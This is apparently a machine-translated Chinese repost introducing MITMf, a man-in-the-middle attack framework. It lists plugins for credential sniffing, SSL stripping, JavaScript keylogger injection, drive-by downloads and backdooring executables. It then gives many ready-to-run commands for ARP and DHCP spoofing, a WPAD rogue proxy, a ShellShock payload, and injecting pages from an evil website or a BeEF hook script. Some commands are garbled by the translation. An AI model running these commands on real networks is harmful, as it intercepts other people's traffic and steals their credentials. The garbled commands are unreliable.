MITMf – 中间人攻击框架

MITMf是Man-In-The-Middle攻击的框架。

它最初是为解决其他工具(例如Ettercap,Mallory)的重大缺陷而构建的,它几乎完全从头开始重新编写,以提供模块化且易于扩展的框架,任何人都可以使用它来实现自己的MITM攻击。

特征:
该框架包含一个内置的SMB,HTTP和DNS服务器,可以由各种插件控制和使用,它还包含允许HTTP修改和部分HSTS绕过的SSLStrip代理的修改版本。
从版本0.9.8开始,MITMf支持主动包过滤和操作(基本上是什么过滤器,只有更好),允许用户修改任何类型的流量或协议。
配置文件可以在MITMf 运行时即时编辑,这些更改将通过框架传递下去:这允许您在执行攻击时调整插件和服务器的设置。

MITMf 将通过使用Net- Creds 来捕获FTP,IRC,POP,IMAP,Telnet,SMTP,SNMP(社区字符串),NTLMv1 / v2(所有支持的协议,如HTTP,SMB,LDAP等)和Kerberos证书启动。
响应者集成允许LLMNR,NBT-NS和MDNS中毒以及WPAD流氓服务器支持。
您现在可以修改使用Scapy被MITMf拦截的任何数据包/协议!

 

例如,下面是一个小过滤器,它只是更改ICMP数据包的目标IP地址:
如果packet.haslayer(ICMP):
log.info('有一个ICMP数据包!')
packet.dst ='192.168.1.0'
使用数据包变量以Scapy兼容格式访问数据包
使用数据变量来访问原始数据包数据
现在使用过滤器,我们需要做的是:python mitmf.py -F?/ filter.py

你可能会想把它和Spoof插件结合起来,实际拦截其他人的数据包。

注意:  您可以在不重新启动MITMf的情况下即时修改过滤器。

目前可用的插件:
HTA Drive-By:注入虚假更新通知并提示客户端下载HTA应用程序
SMBTrap:利用连接客户端上的“SMB陷阱”漏洞
ScreenShotter:使用HTML5 Canvas呈现客户端浏览器的精确屏幕截图
响应者:LLMNR,NBT-NS,WPAD和MDNS中毒者
SSLstrip :部分绕过HSTS
欺骗:使用ARP,ICMP,DHCP或DNS欺骗重定向流量
BeEFAutorun:根据客户端的操作系统或浏览器类型自动运行BeEF模块
AppCachePoison:执行HTML5应用程序缓存中毒攻击
Ferret-NG:透明地劫持客户端会话
BrowserProfiler:尝试枚举连接客户端的所有浏览器插件
FilePwn:使用Backdoor Factory和BDFProxy通过HTTP发送的后门可执行文件
注入:将任意内容注入HTML内容
BrowserSniper:使用过时的浏览器插件对客户端执行路过式攻击
JSkeylogger:将Javascript键盘记录器注入客户的网页
替换:替换HTML内容中的任意内容
SMBAuth:唤起SMB挑战 - 响应认证尝试
Upsidedownternet:翻转图像180度
俘虏:创建强制门户,使用302重定向HTTP请求

例子:
最基本的用法是在接口enp3s0上启动HTTP代理SMB,DNS,HTTP服务器和Net-Creds:
python mitmf.py -i enp3s0

ARP欺骗整个子网,使用Spoof插件,网关位于192.168.1.1:
python mitmf.py -i enp3s0 --spoof --arp --gateway 192.168.1.1

与上面相同 使用响应者插件的WPAD流氓代理服务器:
python mitmf.py -i enp3s0 --spoof --arp --gateway 192.168.1.1 --responder --wpad

ARP毒性192.168.1.16-45和192.168.0.1/24,网关为192.168.1.1:
python mitmf.py -i enp3s0 --spoof --arp --target 192.168.2.16-45,192.168.0.1 / 24 
- 网关192.168.1.1

在ARP中毒时启用DNS欺骗(从配置文件中取消要欺骗的域):
python mitmf.py -i enp3s0 --spoof --dns --arp --target 192.168.1.0/24  - 网关192.168.1.1

启用LLMNR / NBTNS / MDNS欺骗:
python mitmf.py -i enp3s0 --responder --wredir --nbtns

启用DHCP欺骗(IP池和子网从配置文件中拉出):
python mitmf.py -i enp3s0 --spoof --dhcp

如上所述,如果任何客户端存??在漏洞,将执行ShellShock有效负载:
python mitmf.py -i enp3s0 --spoof --dhcp --shellshock'echo 0wn3d'

使用Inject插件注入HTML IFrame:
python mitmf.py -i enp3s0 --inject --html-url http://some-evil-website.com

注入一个JS脚本:
python mitmf.py -i enp3s0 --inject --js-url http:// beef:3000 / hook.js

启动将所有内容重定向到http:// SERVER / PATH的强制门户:
python mitmf.py -i enp3s0 --spoof --arp --gateway 192.168.1.1 --captive --portalurl http:// SERVER / PATH

使用默认页面/portal.html(thx responder)和/CaptiveClient.exe(未包含)从config / captive文件夹中启动强制门户http://your-ip/portal.html:
python mitmf.py -i enp3s0 --spoof --arp --gateway 192.168.1.1 --captive

与上面相同,但是使用hostname captive.portal而不是IP(需要captive.portal来解析您的IP,例如通过DNS欺骗):
python mitmf.py -i enp3s0 --spoof --arp --gateway 192.168.1.1 --dns --captive --use-dns

通过http:// IP:8080(更改mitmf.config中的端口)为服务LOCALDIR的其他SimpleHTTPServer实例提供强制门户:
python mitmf.py -i enp3s0 --spoof --arp --gateway 192.168.1.1 --capital --portaldir LOCALDIR

与上面一样,但使用主机名:
python mitmf.py -i enp3s0 --spoof --arp --gateway 192.168.1.1 --dns --captive --portaldir LOCALDIR --use-dns

你可以将几乎所有的插件混合在一起(例如ARP spoof inject Responder等)

下载地址 :https://github.com/byt3bl33d3r/MITMf

*本文为华盟网翻译文章,作者:Meker,如需转载请保证文章未删减并注明出处:华盟网*

本文由 华盟网 作者:AlexFrankly 发表,其版权均为 华盟网 所有,文章内容系作者个人观点,不代表 华盟网 对观点赞同或支持。如需转载,请注明文章来源。

1

相关文章

发表评论

电子邮件地址不会被公开。